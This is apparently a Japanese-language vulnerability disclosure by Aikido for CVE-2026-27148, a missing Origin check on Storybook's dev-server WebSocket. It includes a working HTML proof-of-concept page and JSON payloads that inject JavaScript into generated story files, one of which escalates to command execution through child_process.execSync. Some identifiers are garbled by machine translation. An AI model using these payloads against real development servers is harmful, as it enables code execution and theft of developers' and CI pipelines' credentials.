ペンテスト 「Aikido 」ペンテスト 、脆弱性 発見しました。この脆弱性は、永続的なXSS攻撃、リモートコード実行、最悪の場合サプライチェーン侵害につながる可能性があります。 StorybookのWebSocketサーバーには認証やアクセス制御が存在しないため、開発サーバーが公的にアクセス可能な場合、攻撃者はユーザー操作を一切必要とせずにエクスプロイト できます。より一般的なローカル環境では、開発者がStorybook実行中に誤ったウェブサイトを訪問するだけで被害が発生します。
注意喚起: GHSA-mjf5-7g4m-gx5w
CVE:CVE-2026-27148
CVSS:8.9 (高)
Affected versions: Storybook >= 8.1.0 and < 10.2.10
パッチ適用済みバージョン:7.6.23、8.6.17、9.1.19、10.2.10
脆弱性
Storybookは、メインアプリケーションの外でUIコンポーネントを独立して構築・テストするためのオープンソースフロントエンドワークショップです。Storybookの開発サーバーは、ストーリーの作成・編集機能を駆動するためにWebSocketsを利用しています。WebSocketエンドポイントは /ストーリーブックサーバーチャンネル ファイルシステムに書き込む2種類のメッセージを受け付けます: 新規ストーリーファイル作成リクエスト そして saveStoryRequest. どちらもディスク上のストーリーソースファイルを作成または変更します。
問題点:WebSocketサーバーには一切のアクセス制御が存在しない。認証も、セッション検証も、そして Origin 着信接続のヘッダーチェック。開発サーバーに到達可能な場合、誰でも接続してディスクへのファイル書き込みを開始できる。
問題は、WebSocketサーバーが着信接続のOriginヘッダーを検証しないことです。どのウェブサイトでもWebSocketを開くことができます。 ws://localhost:6006/storybook-server-channel そしてメッセージの送信を開始する。認証も、発信元確認も、質問も一切なし。
これにより、2つの異なる攻撃シナリオが生じます。Storybook開発サーバーが公開されている場合(デザインレビューやステークホルダー向けデモで一般的な設定)、インターネット上の認証されていない攻撃者は、ユーザーの操作なしにWebSocketエンドポイントに直接接続し、エクスプロイト 。開発サーバーがローカルで実行されている場合、攻撃者は開発者に悪意のあるWebページを訪問させる必要があり、そのページがクロスオリジンWebSocket接続を開きます。 ws://localhost:6006/storybook-server-channel 彼らの代わりに。
脆弱なコードは2つのファイルに存在します:
create-new-story-channel.ts- ハンドル新規ストーリーファイル作成リクエストsave-story.ts- ハンドルsaveStoryRequest
両者とも委任する 新しいストーリーファイルを取得する.ts 導かれる 拡張子を除いた基本名 ユーザー提供の コンポーネントファイルパス そしてそれを未検証のまま渡す タイプスクリプト.ts生成されたソースコードに直接補間される場所。
注入点: 新しいストーリーファイルを取得する.ts
const base = basename(componentFilePath); //"Button';alert(document.domain);var a='.tsx"
const extension = extname(componentFilePath); // ".tsx"
const basenameWithoutExtension = base.replace(extension, ''); // "Button';alert(document.domain);var a='"シンク: タイプスクリプト.ts
const importName = data.componentIsDefaultExport
? await getComponentVariableName(data.basenameWithoutExtension)
: data.componentExportName; // ← user-controlled, unvalidated
...
const importStatement = data.componentIsDefaultExport
? `import ${importName} from './${data.basenameWithoutExtension}'`
: `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here ディスクに書き込まれたファイル:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button-INJECTION_POINT-'; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};攻撃!悪意のあるウェブサイトからコードインジェクションへ
公開されているインスタンスの場合、悪用は極めて容易です:WebSocketエンドポイントに接続し、メッセージを送信するだけです。PoCページも不要、ソーシャルエンジニアリングも不要、ユーザーの操作も不要です。これは完全に自動化でき、インターネット上で公開されているStorybook開発インスタンスをスキャンする規模に拡張可能です。
ローカルインスタンスの場合、攻撃には追加の手順が1つ必要です:開発者が実行している 毛糸の物語 ローカルで。彼らは悪意のあるウェブページを訪問します。Slackチャネル内のリンクかもしれませんし、侵害されたドキュメントサイトかもしれません。そのページは静かにlocalhost:6006へのWebSocket接続を開き、細工されたメッセージを送信します:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "xss_poc",
"payload": {
"componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
注入された コンポーネントファイルパス 生成されたストーリーファイル内で文字列コンテキストを脱します。Storybookは新しい .stories.ts 攻撃者のJavaScriptが埋め込まれたファイルをディスクに保存する。開発者は何も気づかない。ポップアップも、確認ダイアログも、ブラウザの警告も一切表示されない。
ディスクに書き込まれたファイル:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};会社情報 コンポーネントファイルパス フィールドは最も単純な注入ベクトルであるが、 コンポーネントエクスポート名 同じテンプレート位置に流れ込むとき コンポーネントがデフォルトエクスポートかどうか 偽である、メタブロック内のコンポーネント: プロパティおよび typeof 式を含む。
完全なPoCは単なるシンプルなHTMLページです:
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<h1>Loading...</h1>
<script>
const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "createNewStoryfileRequest",
args: [{
id: "xss_poc",
payload: {
componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
componentExportName: "Button",
componentIsDefaultExport: false,
componentExportCount: 1
}
}],
from: "preview"
}));
};
</script>
</body>
</html>
以上です。ページにアクセスすると、開発者のマシンに改ざんされたストーリーファイルが保存されます。
エスカレーション!XSSからRCEへ
XSSだけでも既に懸念材料だが、ペイロードはソースファイルに永続化され、Storybookをレンダリングするあらゆるブラウザで実行される。しかし事態はさらに悪化する。
多くのチームは、ポータブルストーリーを使用してテストスイートの一部としてStorybookストーリーを実行しています。これらのテストがNode.js環境(例:実ブラウザではなくJSDOMを使用したVitest)で実行される場合、注入されたJavaScriptはサーバーサイドで実行され、システムへの完全なアクセス権限を持ちます:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "rce_stealth",
"payload": {
"componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
いつ npx vitest 手動で実行した場合、ファイル保存時にVS Code拡張機能によってトリガーされた場合、またはCI/CD 内で実行された場合のいずれにおいても、出力は以下のようになります:
RCE_PROOF: uid=501(robbe) gid=20(staff) ...その時点でゲームオーバーだ。攻撃者は開発者の環境またはCIパイプラインでコード実行権を獲得し、環境変数、認証情報、ファイルシステム、ネットワークへのアクセス権を掌握している。
サプライチェーンの観点
特に厄介なのは永続化モデルだ。ペイロードはソースファイルに直接書き込まれる。開発者が新たなストーリーファイルに気づかなければ、バージョン管理にコミットされてしまう。そこから先は:
- 他の開発者が毒入りコードを取得し、ローカルで実行する
- CI/CD テストを実行し、ペイロードをサーバーサイドで実行する
- ストーリーブックがドキュメントとして展開される場合(一般的なパターン)、XSSはそれを閲覧するすべての人に影響を及ぼします
- 共有コンポーネントライブラリは、それらを利用するすべての下流プロジェクトにペイロードを運ぶ
開発者がたまたまStorybookを実行している間に送信された1つのWebSocketメッセージが、開発ライフサイクル全体に波及する。
ブラウザの保護機能(というか、その欠如)
Chromeの最新バージョンでは、localhostへのクロスオリジンWebSocket接続に対する保護機能が追加されました(詳細はhttps://chromestatus.com/feature/5197681148428288を参照)。Firefoxにはこの機能がありません。したがって、チーム内にStorybookを実行しているFirefoxユーザーが1人でもいる場合、そのユーザーは攻撃対象となり得ます。
公開されている開発サーバーの場合、これらの制限は一切適用されません。攻撃者はブラウザを経由せずにWebSocketエンドポイントに直接接続します。オリジンチェックもCORSも、ブラウザの保護機能も一切介在しません。
対策
Storybookをパッチ適用済みバージョン(7.6.23、8.6.17、9.1.19、または10.2.10)のいずれかに更新してください。この修正により、WebSocketサーバーにオリジン検証が追加されます。後続バージョンでは、Storybookはインジェクション攻撃を防ぐため、ストーリー名に対するサニタイズ処理も追加しています。
脆弱な機能はバージョン8.1で導入されましたが、予防措置としてパッチはバージョン7.xにバックポートされました。
タイムライン
- 2026年2月6日: Aikido (AIペンテスト )により特定
- 2026年2月6日:Storybookセキュリティチームに開示
- 2026年2月25日:Storybook 7.6.23、8.6.17、9.1.19、10.2.10 で修正済み
- 2026年2月25日: GHSA-mjf5-7g4m-gx5w公開

